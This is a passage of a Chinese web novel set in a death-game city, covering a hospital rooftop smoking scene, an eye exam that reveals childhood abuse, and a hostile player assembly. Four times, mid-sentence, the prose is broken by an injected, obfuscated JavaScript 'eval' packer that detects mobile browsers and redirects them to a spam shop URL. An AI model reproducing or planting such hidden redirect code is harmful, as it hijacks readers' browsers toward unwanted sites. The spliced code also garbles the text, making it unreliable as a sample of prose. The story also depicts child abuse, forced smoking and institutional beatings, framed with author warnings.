“我靠。”他眯起眼,“竟然有玩家作死,溜进系统总部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16061666|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大厦偷资料,结果被执行官当场处决了。” 回北立刻掏出手机,初与序和冬逢初也各自点开永冬之城论坛,首页最上方赫然挂着一条由系统发布的红色公告: 【违规玩家处决通告】 「涉事ID:Q-7712(已注销)」 「违规行为:非法入侵系统总部核心数据区」 「处决方式:记忆清除(永久性)」 “玩家在进入永冬之城后都有ID编号,被刻在心脏芯片上。除非把芯片拿出来,本人是不知道ID编号的。”回北指着上面的「涉事ID」解释。 “玩家死后,ID就会从本命变成编号。看来这个玩家在记忆清除后已经死亡了。” 底下附了一段十秒的监控录像:模糊的画面中,一个黑影刚撬开数据中心的门锁,就被突然闪现的执行官按在了地上。镜头最后定格在那人不可置信的表情上,而执行官的手枪正抵在他太阳穴处,冷光闪烁。 初与序放大画面,竟发现那个执行官戴着帽子遮住头发,制服袖口锈着暗红色的纹路。 齐无尽。 “真狠啊。”向枝冥摇摇头,“直接记忆清除,比死了还惨。” 回北皱眉:“这人偷的什么资料?值得齐无尽亲自出手?” 冬逢初沉默地划动屏幕,论坛深处有人匿名爆料: 【听说D-7712在查“双生武器”的共鸣数据,还调取了十八年前的副本记录……】 初与序和冬逢初的目光在空中交汇了一瞬,她关掉手机,望向窗外永冬之城永不消散的雪幕,不知在想些什么。 向枝冥把手机一丢,往后一靠:“先不说这个了。下下周三的讨论会,你们去不?” 冬逢初抬眸:“讨论会?” 回北接过话:“永冬之城禁止非同队玩家私建群聊,信息流通受限。所以很久以前就有玩家提议,每年举办一次线下讨论会,在中央礼堂。”她点了点手机屏幕,“晚上七点开始,十点结束,系统居然同意了。” 初与序也不管自己会不会被警告,问道:“系统会这么好心?” 向枝冥转着铜钱:“当然有条件,全程监控,禁止武力冲突,讨论内容不得涉及‘系统漏洞’、‘副本破解’之类的敏感话题。” “说白了,就是给玩家一个合法交流情报的机会,但得在系统的眼皮子底下。” 他忽然烦躁地抓了抓头发:“但我最烦这个,齐无尽那家伙虽然搬出D栋了,但身份上还是D栋的玩家。每次讨论会他都得坐我们这桌,然后就会使用执行官的权利。” 他站起来,模仿齐无尽的冰冷语调:“根据《永冬之城规则守则》第37条,玩家私自交换副本情报属于二级违规。” 回北翻了个白眼,踹了他一脚:“你当年交换副本情报,是想赚积分,他不管你就怪了。去年你们俩差点在礼堂打起来,害得我们队被禁足一个月。” 她又看向另外两人:“你们打算怎么行动?” “去。”初与序简短地说。 冬逢初也点点头。 53.陪一根 一周后,两位病患已经能下床走路,成功转到普通病房。 医院天台上,寒风卷着细雪掠过,初与序靠在锈蚀的铁栏边,两指间夹着一支燃了一半的烟。她身上披着宽大的灰色大衣,里面蓝白条纹的病号服被风吹得微微鼓起,隐约露出腰间还未拆尽的绷带。 冬逢初站在她身侧,同样披着大衣,病号服领口处还能看见锁骨附近的医用贴布。他嘴里咬着烟,低头拢住火机,挡风点烟,火光映出他苍白的下颌线。 “为什么不去看眼睛?”他将打火机揣近口袋里,看着初与序灰蒙蒙的右眼。 初与序转过身,胳膊搭在栏杆上:“治不好,习惯这样了。” 冬逢初不说话,眉眼在缭绕的烟雾下有些朦胧。 “你觉得,《死亡电梯》副本最后的那颗心脏…是谁的?”初与序的声音混在风里。 冬逢初手指一顿,没想到都过去一周了,初与序还在思考副本的事。 “不是‘谁的’。”他想了想,最终回答,“是‘什么’的。” 初与序侧头看他。 冬逢初吐出一口烟雾:“那栋大厦本身是活的,电梯是血管,楼层是器官,玩家是养料,而那颗心脏…” “是核心。”初与序接上他的话,“但不是天然形成的。” 冬逢初露出淡淡的笑容:“你也发现了?” 初与序咬着烟,从口袋里摸出一张皱巴巴的纸条:“这是随歌前几天从暗网搞来的情报。”她展开纸条,上面潦草地写着: 【《死亡电梯》最初是S级训练场,后因起大火废弃】 “训练场,有人曾经在这栋楼里养怪物,或者养活人。”初与序得出结论,“我怀疑这栋楼是从现实改版而来,而永冬之城有玩家曾经和这栋楼有关系。” 她弹了弹烟灰,望着远处被雪幕笼罩的城市轮廓,好似在自言自语:“永冬之城,到底是什么地方…” 冬逢初沉默着,因为寒冷,他呼出的白气与烟雾纠缠在一起。 “你恢复记忆了吗?”初与序忽然问。 “没有。”冬逢初摇头,“什么都想不起来。” 初与序刚想说话,天台的铁门突然“吱呀”一声被推开,景明垂垂眼走来。初与序手一抖,条件反射地把烟塞进冬逢初空着的左手里。 “原来你们在这里。”景明垂的目光扫过两人,最后停在冬逢初拿着的两支烟上。其中一支快燃到尽头,另一支刚点燃不久,烟丝在寒风中上升。 “初与序,你又抽烟?”她盯着初与序。 初与序立刻摇头,黑发被风吹得凌乱:“没有。”她背在身后的手悄悄戳了戳冬逢初的后腰。 冬逢初僵了一瞬,随即面不改色地举起手,烟灰簌簌落在他的病号服袖口:“……对,她没抽,这两根是我的。这一根快燃完了,又点了一根……” 景明垂的目光在那支“刚点燃”的烟上停留了两秒,最终点了点头:“医生说他二十分钟后要来查房,你们记得回去。” 直到天台门重新关上,初与序才长舒一口气,从冬逢初手里拿回自己的烟:“多谢。” 景明垂不允许初与序抽烟。 而她刚成年就会抽烟这件事要追溯到很久以前。 初与序小时候,曾经有很长一段时间被寄养家庭的养兄和他的朋友逼着吸烟,硬生生将点燃的烟塞进她嘴里。他们笑着,看她被呛得咳嗽流泪,有逼她喝下烟灰泡的水,觉得这样“好玩”。如果她不肯,就会挨打。 她也想过要报警,但逼迫她的是寄养家庭的养兄,如果报警,自己可能面临流离失所甚至更严重的后果。只能忍气吞声,独自忍受痛苦。 就这样,初与序慢慢的学会了吸烟,甚至习惯了吸烟。她知道这种行为不对。 (作者警告:未成年禁止抽烟!吸烟有害健康,对发育中的身体伤害尤其严重!) (本文是虚构剧情,绝非现实参考!如果现实生活中遭遇他人强迫吸烟、暴力胁迫等任何伤害行为,请报警或向可信赖的成年人求助!) 在善佑青少年医院时,她偶尔会躲在卫生间或天台上偷偷抽。景明垂发现后,什么也没说,只是在当天晚上趁她熟睡,溜到她病房,把她一整包烟顺走藏了起来,并严厉禁止初与序碰烟。 “戒了吧。”景明垂当时平静地说,“你不喜欢,不是吗?” 初与序确实不喜欢,她没有烟瘾。后来住在医院的几年,她真的没有再碰过烟。 直到现在成年。 偶尔,在被噩梦惊醒的深夜,在想事情的时候,她还是会点一支。 冬逢初看着她指间没抽多少的烟,又看看自己手里那支快抽完的,忽然明白了什么。 初与序抽烟的开始,大概不是因为她自己想抽。 他沉默了一会儿,伸手轻轻碰了碰她的烟尾,火星在寒风中微微一亮。 “少抽烟。”他说,声音很轻,眼底带着温柔,“但如果你要吸烟,可以带我一个。” 初与序侧目看他。 冬逢初垂着眼,动作熟练地弹了下烟灰。他抽烟的姿势很稳,吐息间没有半点生涩,显然是个老手。初与序开始怀疑他很早之前就开始抽了。 初与序只是笑了笑:“你倒是藏得很深。” 她将两人的烟头一并熄灭,丢进垃圾桶:“回去了,医生该来查房了。” 冬逢初点点头,拢紧大衣跟在她身后。 走廊的灯光在雪夜里显得格外冷白,两人刚转过拐角,迎面就撞上了熟悉的面孔。 “初姐姐!冬哥哥!”穿着宽大病号服的少年眼睛一亮,小跑着过来。 宋睿,之前《狼人杀》副本里那个总躲在三人身后的男孩,现在个子似乎长高了,但眼神依旧清澈得不像永冬之城的玩家。他身旁站着个二十出头的男人,右臂打着石膏,眉骨处贴了快纱布。 初与序认出了他,是全服第一百零二的林海。 “好巧。”冬逢初微微颔首。 宋睿兴奋地跑过来,向两人介绍林海:“这是林哥哥,我和他们组了队。”他又转向林海,“林哥,这就是我常和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16061667|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的,在新手副本带我的前辈们。” 林海露出得体的笑容,伸出左手:“久仰,常听宋睿提起二位。如今见到,果然气质非凡。” 初与序垂眸,注意到他右手虎口处有长期握枪留下的茧。她轻轻握了握:“伤得不轻。” “副本里的小意外,幸好伤的是我。”林海语气轻松。 宋睿立刻接话:“上个副本,那个变异怪物向我扑过来时,是林哥把我推开才受伤的。”他的声音因为愧疚低了下去,手指无意识地揪住病号服衣角。 林海拍了拍宋睿肩膀:“没事,这么点伤,我抗得住。” 初与序露出淡淡的笑容:“宋睿现在有高手罩着,我们倒是放心多了。不过副本里的‘救命之恩’最贵了,你以后记得多留点积分‘还人情’啊,别傻乎乎全交底了。” 冬逢初点头,也笑着接话:“是啊,排行榜前两百的玩家,大部分都是‘一步一算计’练出来的。这么讲义气的林哥能帮你抗刀一定是好事,但未必每时每刻都这么‘巧’,要好好加强自己。” “你们放心吧,我肯定会的!”宋睿兴奋地点点头。 林海突然笑出声,揽住宋睿肩膀:“走吧宋睿,医生该来查房了。” 分别时,初与序最后看了眼宋睿的背影。少年正仰着头和林海说着什么,眼里满是信赖。 “希望是我们想多了。”冬逢初低声道。 初与序没说话。 两人踩着点回到病房。很巧的是,回北和向枝冥也被转移到这间普通病房。 “哟,卡着点回来了。”向枝冥盘腿坐在床上抛铜钱,“医生刚来过,说你们…” 话音未落,主治医生就拿着病历板推门而入,扫过四人:“恢复不错。”他着重看了眼初与序和冬逢初的伤口监测数据单,“下周一就能出院,前提是你们四个别惹事。” 回北眉梢一扬:“正好赶上讨论会。” 火腿面包被允许呆在初与序身边,它跳上初与序肩膀,忽然眨眨眼睛,凑近初与序:“你身上好像有淡淡的烟味?你抽烟了?还是我闻错了?” 病房瞬间安静,医生抬起头,目光落在初与序身上:“我怎么记得玩家景明垂不让你抽烟呢?” 冬逢初面不改色地举起手:“我抽的,初与序和我待在一起,沾上烟味了。” “他抽的。”初与序认真地补充。 医生狐疑地扫视他们,最终在病历板上唰唰写下几行字:“肺部功能复查加项”。 等医生走后,向枝冥终于憋不住笑出声:“你们这掩护打得……” 回北一脚踹在他床架上,示意他看病房角落的监控摄像头。而初与序没好气地拎起火腿面包,将他丢到冬逢初床上:“给你了,不用谢。” “熄灯睡觉了。”向枝冥抛出铜钱,铜钱精准地砸到病房开关上,随着“啪”一声,整间病房陷入黑暗。 冬逢初拍了拍面包,示意它自己去枕头边睡。 “晚安。”他看向初与序,笑着说。 “……晚安。” 54.埋在雪里 次日清晨,初与序独自坐在病床边,捧着一碗清淡的白粥。火腿面包靠在她枕头上,用芝麻眼盯着粥碗,小声嘀咕:“这玩意比我还没味道…” 初与序看了它一眼:“我觉得挺好的。” “那你肯定是没吃过好的!”火腿面包一激灵做起来,“像黄金酥脆芝士爆浆鸡排、香辣蒜蓉小龙虾拌面、熔岩巧克力流心蛋糕、日式照烧鳗鱼饭、芒果椰香糯米饭、酥皮菠萝油叉烧包……” 初与序正要一脚把它踹飞,病房门突然被推开,随歌第一个蹦进来,手里举着一台相机:“初与序!快看我搞到了什么好东西!” 初与序头都没抬,继续喝粥。冬逢初无声地走到她床边坐下,唇角带着若有若无的笑容。 “看!限量版相机!”随歌笑嘻嘻凑到初与序身边,举起相机,“来,笑一个!” “咔嚓。” 照片定格。 穿着蓝白条纹病号服的初与序表情平淡,抬眼看向镜头;她身边的冬逢初同样穿着病号服,淡淡笑着;随歌只有上半身,在画面边缘比着剪刀手;而背景里,景明垂正扶额叹气,江意双手插兜一脸无奈。而火腿面包坐在初与序胳膊上,芝麻眼睛亮晶晶的。 “完美!”随歌甩了甩照片,啧啧称赞,“我也太帅了。” 初与序依旧面无表情哦:“删了。” 随歌跳起来鬼叫:“不行!我好不容易拍得这么帅,不能删!” “删了。” “不行!” “删了。” “不行!” “……” 冬逢初轻轻按住初与序手腕:“留着吧,当我们队伍的队照。” 初与序轻轻叹了口气,没再说什么。 晨光透过窗帘缝隙洒进来,照片上的光影渐渐清晰。在这短暂的瞬间里,没有永冬之城,没有副本,只有一间普通的病房,和五个年轻人。 江意和另外三人对视一眼,忽然开口:“D19说,医院举行集体视力检查,我们队伍也要去,你吃完早饭就走吧。” 初与序喝完粥,放下碗跟了上去。火腿面包趁机跳进她病号服口袋,小声嘟囔:“视力检查?该不会要看那些该死的闪光灯吧?” 检查室门口的走廊没有多少人,应该都回病房了。初与序等人进去时,里面坐着的医生竟是上回初与序在系统处理区大厦前看到的C13。执行官戴着蓝色流苏耳饰,正在调节验光仪器。 C13的语气很温和,不像其他执行官那样冰冷。轮到初与序时,他提醒:“看着这个红点。” 初与序盯着仪器,左眼的检查很快结束,但轮到右眼时,她下意识眯起了眼睛。 “放松,别紧张。”C13调整着镜片,“现在能看清吗?” 模糊的光斑在视野里晃动,初与序摇了摇头。 检查结果很明确:左眼1.2,右眼却只有0.1,几乎什么都看不清。 C13敲着桌面的手停顿了一下,蓝色流苏垂在脸侧:“你的右眼…是怎么伤的?” 初与序表情未变:“小时候不小心摔的,视力受损。” C13若有所思地点点头,在病历上记录着什么。随后挥挥手:“好了,除了初与序,其他人视力正常,江意的近视度数也没上升。平时要避免在昏暗或强光下用眼,养成良好习惯。” 初与序提前回了病房,火腿面包也一同回去。 病房门关上的瞬间,房间里的气氛骤然一变。 C13从文件中抽出初与序的检查单,递给离他最近的江意,声音压低:“四楼眼科,找编号J41的女医生。”他顿了顿,“别让初与序知道是我配合你们的。” 江意接过检查单,目光扫过上面的数据,停留在初与序的视力检查结果上。他点点头,收好单子:“谢谢。” 四人来到四楼诊疗室,找到了编号J41的女医生。她带着厚重的眼镜发间别着一枚小小的发卡,正埋头在光屏前分析数据。 江意将初与序的视力检查单递过去,冬逢初把刚才拍的病房照片也放在桌上,指着中间的初与序轻声询问:“您好,请问她的右眼,摔成这样还能治好吗?” 景明垂站在一旁:“如果是摔伤导致的视力受损,恢复的可能性有多大?” 随歌也补充:“她说是小时候摔的,但估计没好好治疗。” J41推了推眼镜,拿起检查单看了看,又抬起头疑惑地看向四人,眉头越皱越紧。 “怎么了?”随歌问,“是我拍得照片不清楚吗?” “不是。”J41又盯着那张照片看了看,突然抬头,语气严肃,“你们在跟我开玩笑吗?这怎么可能是摔伤?” 她拿起照片,指着初与序的灰色瞳孔和微微变形的虹膜:“你们拍得很清楚。看这里,瞳孔边缘不规则,虹膜根部离断,这是典型的钝挫伤。比如被拳头正面击中,或者被棍棒、球类砸到。摔伤根本不会造成这种损伤。” 她翻看着视力检查单,摇摇头:“右眼只剩光感,左眼正常?摔伤一般不会这么极端,除非是高空坠落或者车祸。但真要是那样,眼眶绝对会骨折,但照片里没有,而且……” 她指着角膜上的瘢痕:“这种浑浊位置在中央,更像是集中受力,比如被手指戳中,或者被小物体高速击中。摔伤的话,伤痕会更分散,比如擦伤或者眼角裂伤。” J41放下资料,在四人一脸问号的目光中叹气:“说实话,这伤拖太久了。如果是刚受伤时马上治疗,也许还能恢复部分视力,但现在…视网膜和视神经已经萎缩,治不好了。” “那可以配眼镜吗?”冬逢初急忙问。 “很遗憾,配眼镜没有意义。”J41语气沉稳,“她的右眼不是度数问题,而是视神经和视网膜严重受损。就像相机,相机镜头碎了可以换,但如果是底片和传输线都还了,换再好的镜头也没用。” 她扫视一圈,眼神锐利:“所以患者右眼的伤绝对不是自己摔的。” 她停顿片刻,压低声音:“从损伤特征来看,患者当年遭受的外力极强,而且作用点非常集中,大概率是被成年人用拳头故意猛击,或者被棍棒、硬物砸中眼睛。” 这一番话把四人说蒙了,房间里安静了几秒,随歌脸色发白:“那…您觉得施暴者会是谁?” J41思考片刻:“多项研究表明,儿童严重眼外伤中,监护人涉案比例显著高于其他施暴者,包括生父母、继父母和同居看护人。” 她递回检查单:“既然是你们来了,那患者大概不愿来。你们想想办法,带她来做个详细检查,虽然视力恢复不了,但至少得看看眼压和视网膜状态,避免并发症。” “当然,循序渐进,别让她应激。” 四人沉默地走出房间,坐在走廊的长椅上,空气沉重得几乎凝滞。 J41的话像一把钝刀,缓慢而残忍地剖开了初与序的谎言。 景明垂垂眸,琴弦缠绕着她的手指。她忽然开口,声音很轻:“十三岁那年,初与序住进医院时,是被她寄养家庭的父母送来的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16068265|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >冬逢初抬眼看她。 “她的亲生父母我从未见过,只知道她的亲生父亲在她十岁那年病逝了。”景明垂继续道,“而寄养家庭的那对夫妇,自从送她入院后,就再也没出现过。” 记忆的碎片一点点拼凑起来: 初与序有亲生父母,但送她来的却是寄养家庭的“父母”。那对夫妇中,女人穿着体面,带着昂贵饰品;男人个高腿长,像是长年健身。他们的语气却冷漠梳理,签完字就匆匆离开,甚至没有多看初与序一眼。 初与序来医院时,就常用左眼看东西。景明垂问她,她只说习惯了。 现在看来是被寄养家庭的人打的。 景明垂顿了顿,犹豫道:“那对夫妇好像…本就想把她关在那里,再也不接回去。” 冬逢初的手指微微收紧,初与序的检查单在他掌心皱成一团。 随歌难得没有插科打诨,盯着地板:“你们知不知道,她进入永冬之城之前,在哪里?” “她来到这里前刚高考完,应该是才被寄养家庭接回去。”江意猜测。 冬逢初忽然想起初与序小腿上的伤,想起她抽烟时那种麻木的习惯,现在这一切都能联系起来。 “我想起来了。”随歌突然攥紧了拳头,声音像是挤出来的,“竹翰学院和善佑医院…他妈的根本是一伙的…” 随歌十六岁那年,被父母送到竹翰学院“改造”。 一年后的某天清晨,高二二班在操场军训。小校门口停了一辆没有牌照的白色大巴。车门打开,一群穿着蓝白条纹病号服的少男少女被医护人员粗暴地推下车,像牲口一样被赶进校园。 “都给我看清楚!”一个穿白大褂男人的吼声至今回荡在耳边,“这就是不听话的下场!” 那些“精神病患者”被分散带到各个班级,观看教官展示的“下马威”。而随歌和苏叶所在的高二二班,分到了其中最瘦小的女孩。 也就是初与序。 她站在操场前方,面无表情地看着教官用橡胶棍殴打一个“不听话”的学生。棍子砸在□□上的闷响、学生的惨叫、操场里弥漫的恐惧。而初与序始终没有表情,仿佛早已习惯了这样的场景。 原本随歌以为只会见到初与序这一次,但只隔了短短一周,初与序竟又被送来了。 那天中午,趁着在食堂吃饭的功夫,随歌好奇地凑过去,偷偷问:“你怎么又来了?” 初与序脸上还有伤,声音平静:“和另一个男生逃跑失败。”她顿了顿,“我带的头,所以被送过来‘体验’,他被关禁闭。” 那天结束后,初与序被医护人员接走。 被送进竹翰学院“体验”的患者很多,被拖到善佑医院治疗的学生也很多,但随歌再也没有见到过初与序。 “如果有医院的患者不听话,会被院方送到竹翰学院体验一天,回去时保证听话。”随歌的指关节捏得咔咔作响,“同样,如果竹翰学院的学生被打死,就从医院拉一个‘精神病患者’来顶罪。” 他看向江意,动了动嘴唇:“…当年苏叶也是这样。” 走廊的灯光惨白,照得每个人的脸色都格外冷峻。监控摄像头无声转动,红光扫过他们凝重的面容。 而在病房里,初与序正靠在窗边,伸手揉了一下右眼。 火腿面包从她口袋里探出头,芝麻眼睛眨了眨:“你在想什么?” 初与序望着永冬之城永不消散的雪,轻声道: “没什么。” 有些记忆,就该永远埋在雪里。 55.讨论会 讨论会当天,天气很冷。 暮色尚未完全沉下,街道上已经出现了成群结队的玩家,朝着中央礼堂的方向涌去。D栋的住户们,那些平日里几乎从不在天黑前露面的人,也纷纷走出阴暗的楼道,融入了人流。 初与序站在D栋门口,看着街道上的人影,左眼底映着远处礼堂的灯火。冬逢初站在她身侧,将右耳的耳骨夹调整好位置。其余三人也连续走来,五人无声地对视一眼,汇入了前往礼堂的人群里。 玩家们三三两两交谈着,声音很低。偶尔有人瞥见他们,眼神里带着敬畏、探究,或是别的什么。 “D栋的人居然都出来了……”有玩家小声嘀咕。 “废话,今天可是讨论会,连齐无尽都会露面。” 远处,中央礼堂的尖顶在暮色中显得格外肃穆,大门敞开着。五人踏入礼堂,大厅内摆满了巨大的圆桌,每张桌上都竖着醒目的区域标识牌。D栋的桌子孤零零摆在角落,与其他区域形成鲜明对比——A区足足摆了五桌,而D区仅有的这一张甚至还没坐满。 初与序刚在D区圆桌旁落座,就发现江意径直走向了礼堂幕后。 “意哥去哪?”景明垂问。 随歌叼着草莓牛奶细管,含糊不清地说:“讨论会要有主持人。”他指了指舞台上方悬浮的全息投影,“看见没?主持人一直是全服第一和第二,也就是意哥和回北。” 冬逢初坐在初与序身边,目光扫过陆续入座的D栋住户。他注意到,这些平日里阴郁孤僻的玩家此刻都绷紧着身体,像是随时准备暴起的困兽。 当齐无尽出现在礼堂入口时,整个D区圆桌瞬间陷入死寂。他今天没穿那身标志性的执行官制服,而是套了件风衣。也没戴帽子,初与序发现他的头发竟是红色的,在苍白的面容衬托下格外刺目。 “惊讶吧?”随歌说,“我第一次见他也很惊讶,他的红发是天生的。” 齐无尽径直走向D区圆桌,在初与序对面的空位坐下。 当时钟的指针精准指向起点站,礼堂的灯光忽然暗了下来,只余下一束冷白的聚光灯打在舞台中央。江意和回北从幕后走出,脚步声在骤然安静的礼堂里格外清晰。 江意站在聚光灯下,环视一圈,声音清晰:“欢迎各位来到第9846届玩家讨论会。” 回北站在他身侧,短发利落。她接过话头,声音干脆:“规则照旧,禁止私斗,禁止讨论系统漏洞,禁止任何形式的武力威胁。”她顿了顿,目光扫过全场,“违者,逐出讨论会,并交由系统处理。” 台下传来几声低低的议论,但很快又归于安静。 江意继续道:“本次讨论会的主要议题有三个。”他抬手一挥,全息投影亮起,三项议题出现: 【第一议题:近期副本异常波动分析】 【第二议题:永冬之城起源与玩家构成】 【第三议题:新晋高威胁玩家名单】 回北补充:“每个议题可派不同代表发言。”她环视全场,“现在开始第一个议题——近期副本异常波动数据。” 礼堂的灯光暗下来,全息投影上浮现出密密麻麻的副本数据。A区立刻站起一个玩家:“我们队上周在《锈蚀游乐园》遇到核心程序错乱,原本B级难度突然飘升至S级。” 初与序等人对视一眼,这正是他们摧毁《死亡电梯》前遇到的异常。 B区玩家紧接着起身:“《幽灵直播间》副本的NPC突然获得自主意识,甚至能识别玩家的伪装身份。” 随着讨论深入,越来越多的异常被揭露。自从今年新人玩家到来后,副本重置失效、怪物仇恨值混乱、甚至出现记忆数据被纂改的案例。 全息投影上的数据被切换,换成一小部分系统允许公布的副本地图,清晰的坐标网格中,数十个副本光点闪烁着猩红警示。它们以“D”开头的所有列车轨道为轴心,如病毒般向外辐射。 这一瞬间,D桌所有人都变了脸色。 “这他妈不能说是巧合了吧?”一个A区玩家猛地踹翻椅子站起来,椅腿在礼堂地面刮出刺耳声响,“刚刚说的《游乐园》《幽灵直播间》《死亡电梯》……所有出问题的副本,全他妈挨着你们D栋玩家刷过的副本。” 暴怒像野火般席卷整个礼堂,B区有个纹着毒蛇刺青的男人直接亮出砍刀:“老子上个队友就死在异常暴走的副本里,那个副本还有一个你们D栋的玩家!今天必须把D栋这群祸害清理干净!” “这群孙子早就计划好了,要在讨论会弄D区玩家?”随歌被气笑,死死捏着扇柄。 初与序扫了竹扇一眼,淡淡提醒:“别把竹扇捏坏了。” 敌意如潮水般向D栋众人涌来,初与序的目光扫过那些愤怒的面孔,清晰地读出了他们眼中的算计: 恐惧与贪婪。 D栋的玩家,确实够狠。 在永冬之城,高层玩家的名额有限。而D栋,几乎个个都是顶尖的:江意稳坐全服第一,初与序和冬逢初的双生武器十分罕见,景明垂的琴弦杀怪物无形,随歌的治愈能力全程没有第二…… 同时,高层玩家在所有玩家中有着至高无上的权利,甚至可以在违规时偶尔免除处决。 其他玩家想要挤进高层,要么靠实力通关高难副本赚取积分,要么让现有高层玩家消失。 初与序看向D栋其余玩家,他们表情正常,似乎早已习惯这种场面。 “D栋玩家被围剿不是第一次了。”向枝冥坐在冬逢初身边,他抛着铜线,“什么道德谴责,什么正义讨伐,全是鬼扯。” “这些人真正想要的,是我们死后空出的高层名额,是系统赋予高阶玩家的特权。” 礼堂里的玩家分成四方:一种,是坚持该除掉D栋玩家的人;一种是比较理性认为不关D栋住户事的玩家;一种是D栋玩家,还有一种是像初与序这种“不关我事”的吃瓜群众。 三方势力争执不休,场面混乱得像一锅煮沸的粥。随歌懒洋洋地打了个哈欠,完全没把这场闹剧放在眼里。 “随他们吵吧,一群菜鸡互啄。”他歪了歪头,对另外三人道,“趁着机会,我带你们认认人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16068266|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他先指了指远处一个留着黑色长发男生:“安楚,全服第九,挺好相处,但唯独和他们队伍里的向枝冥关系不好。” 初与序顺着他的视线看去,安楚眉眼温润,长发垂落,脖子上带着看上去是道教的护身木牌。此刻正靠在墙边,笑盈盈地看着周围的争吵。 “那个卷毛。”随歌又指了指站在向枝冥身边,和一群玩家激烈对骂……不,辩论的混血男生,“中英混血,全服第七,我们都叫他u谷。别看他现在吵得凶,其实人还行,就是脾气爆了点。” u谷似乎察觉到了视线,转头瞪了随歌一眼,嘴里还在用中英混杂的语言骂骂咧咧。 随歌的视线继续扫视,最终停在角落里一个看起来不过十岁的小女孩身上。她留着杂乱的鲻鱼头,冷着脸看着人群,眼神淡漠得像在看一群蝼蚁。 “赵禾。”随歌的语气严肃了几分,“她就是全服第三。” “别看她年纪小,打架最狠的就是她。小时候被父母卖到地下黑拳场,被那里的老板收留,从小打黑拳长大的。”他揉了揉自己的腿,龇牙咧嘴,“我以前不信邪,非要和她单挑,结果被她打断了一条腿。” 赵禾忽然抬眼,冷冷地瞥了过来,眼神锐利。随歌缩了缩脖子,打了个招呼。 “回北、赵禾、向枝冥、u谷和安楚,”随歌掰着手指数,“就是我之前和你们说的那支队伍。”他环顾四周,“齐无尽我就不说了,不过这次还少了一个人…” “谁?”冬逢初问。 随歌眨眨眼:“一个和意哥关系不错的玩家,但她这次没来,下副本说要找东西。” 初与序抬头看向台上的江意和回北,谁知这两人根本没管下面的混乱,回北甚至不知道从哪摸出一包瓜子,分给江意一半,两人一边嗑瓜子一边看戏。 初与序:“……” 不知道过了多久,台上的两人终于嗑完瓜子,慢悠悠站起来。回北拍了拍手,突然一脚踹在讲台上。 “砰!”重重一声,震耳的声响让整个礼堂瞬间鸦雀无声。 “各位都讨论好了吧?”回北笑眯眯道,“所有人的提议全部驳回。” 但仍有不怕死的玩家梗着脖子骂:“D栋的杂种就该缩着脖子躲在副本里!” “你他妈再说一遍?”向枝冥“唰”地站起身。 那玩家也不怂:“说你怎么了?你们D栋……” 话音未落,齐无尽突然按下耳边通讯器,红发下的眼睛冷光一闪:“C3栋102玩家,D栋801玩家,违反讨论会条例第三条。” 礼堂大门猛地被踹开,两名执行官拿着手枪冲进来,在众人还没反应过来时,已经干脆利落地把对骂的两人按倒在地。 向枝冥挣扎喊道:“等等!我他妈是D栋的!齐无尽你公报私仇是吧?!” 齐无尽面无表情:“太吵了。” 两人被拖出礼堂,全场终于死寂下来。 江意慢条斯理地整理着西装袖口:“好了,现在继续讨论第二个议题——永冬之城的起源与玩家构成。” 56.千年困境 江意的话音落下,全息投影上浮现出一行古老的数字: 【永冬之城存在时长:9972年】 台下顿时响起一片倒吸凉气的声音。 “如各位所见,这座城市远比我们任何人想象的都要古老。”江意的声音冷静地响起。 投影画面变换,浮现出一个模糊的剪影,分不清男女。那就是被玩家称为“妄主”的存在,传说中创造永冬之城的神。 “关于妄主的目的一直有两种说法。”回北手指划过投影,“第一种,妄主想创造一个没有痛苦的理想世界,让所有悲伤的灵魂不再流泪,但现在似乎并不是这样。” “第二种说法,妄主是为了某个人,或是某件事,才创造了这座城市,这也是从古至今一直流传下来的。” 台下的玩家们窃窃私语,江意耸耸肩:“谁知道呢?或许都是真的,或许都是假的。” 他继续道:“而永冬之城的玩家,本质上分为两种。” 